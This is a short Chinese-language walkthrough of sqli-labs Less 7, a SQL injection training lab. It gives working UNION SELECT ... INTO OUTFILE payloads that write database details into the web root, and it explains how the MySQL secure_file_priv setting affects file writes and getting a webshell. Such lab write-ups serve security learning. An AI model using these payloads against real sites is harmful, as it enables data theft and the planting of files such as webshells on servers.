Less 7
提示使用 outfile
1. 判断闭合符号
使用 ')) 闭合语句
2. 判断显示位
显示位为3
3. 爆破注入
写入数据库绝对路径
写入自定义路径
?id=-1')) union select database(),user(),@@datadir into outfile "G:\\PHPStudy\\phpstudy_pro\\WWW\\sqli-labs\\sqli-labs-master\\Less-7\\1.txt" --+
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "G:\\PHPStudy\\phpstudy_pro\\WWW\\sqli-labs\\sqli-labs-master\\Less-7\\1.txt" --+
写入文件时报错
-
可能是路径不对,可以使用绝对路径
回到第一关,查看绝对路径
-
可能是路径没有成功识别,双写斜线或者改变斜线的方向
-
可能是文件写入的权限没有打开
需要mysql数据库开启secure_file_priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure_file_priv参数。如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
修改了配置文件要重启服务
<补充>
secure_file_priv参数
有三个值,分别为NULL、/tmp、空,
NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,
/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,
如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。
这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。
在MYSQL的bin目录下进入cmd,查看MySQL的权限设置
mysql -u root -p
show variables like '%secure%';